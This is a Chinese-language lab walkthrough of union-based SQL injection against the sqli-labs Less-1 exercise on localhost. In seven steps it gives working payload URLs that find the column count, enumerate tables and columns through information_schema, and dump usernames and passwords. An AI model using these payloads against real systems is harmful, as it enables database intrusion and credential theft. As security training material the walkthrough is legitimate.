一、实验环境:
Apache2.4.39
FTP0.9.60
MySQL5.7.26
PHP 5.3.29(注意PHP的版本不应过高,否则会导致sqli安装失败)
sqli
二、实验步骤
第一步:在id=1后加入一个闭合符号',如果报错,再在后面加上 -- qwe将后面注释掉,如果不报错,则证明为字符型。
http://127.0.0.1/sqli/Less-1/?id=1' -- qwe
第二步:order by 查询字段个数,逐级增加order by 后面的数字,直到报错。这里是order by到第4个字段时报错,所以证明有3个字段。
http://127.0.0.1/sqli/Less-1/?id=1' order by 4 -- qwe
第三步:用select查询前三个字段,目的是为了知道哪几个字段在前端显示,这样我们可以将想要查询的数据将前端显示的字段替换掉,比如这里我想查询数据库版本,就用version()替换掉了2。注意前面的id=1要改为id=-1,目的是为了让前面的查询语句不执行,这样我们后面查询的version()才能够显示出来。
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 -- qwe
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,version(),3 -- qwe
第四步:查询我们当前所使用的数据库,为的是后期查询表名。这里查询到的表名为security。
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,database(),3 -- qwe
第五步:mysql5.0以上的版本有information_schema库,information_schema库中有我们所需要的表名与库名。我们先查询security数据库中的所有表的名字,并以一行输出的方式输出,因为如果不一行输出的话,前端只会显示查询的第一个表名。
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- qwe
第六步:现在我们知道了security数据库中的所有表名,我们需要查询password和username,常理下这些数据都会存储到users中,所以我们现在查询users这个表中的所有字段的名字是什么。
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- qwe
第七步:现在我们知道了所用的库为security,所用的表是users,三个字段名分别为id,username,password,那么我们就可以进行最后一步,查询username和password的具体数据。
http://127.0.0.1/sqli/Less-1/?id=-1'unionselect1,group_concat(username),group_concat(password) from security.users -- qwe
查询成功,我们获得了username和password!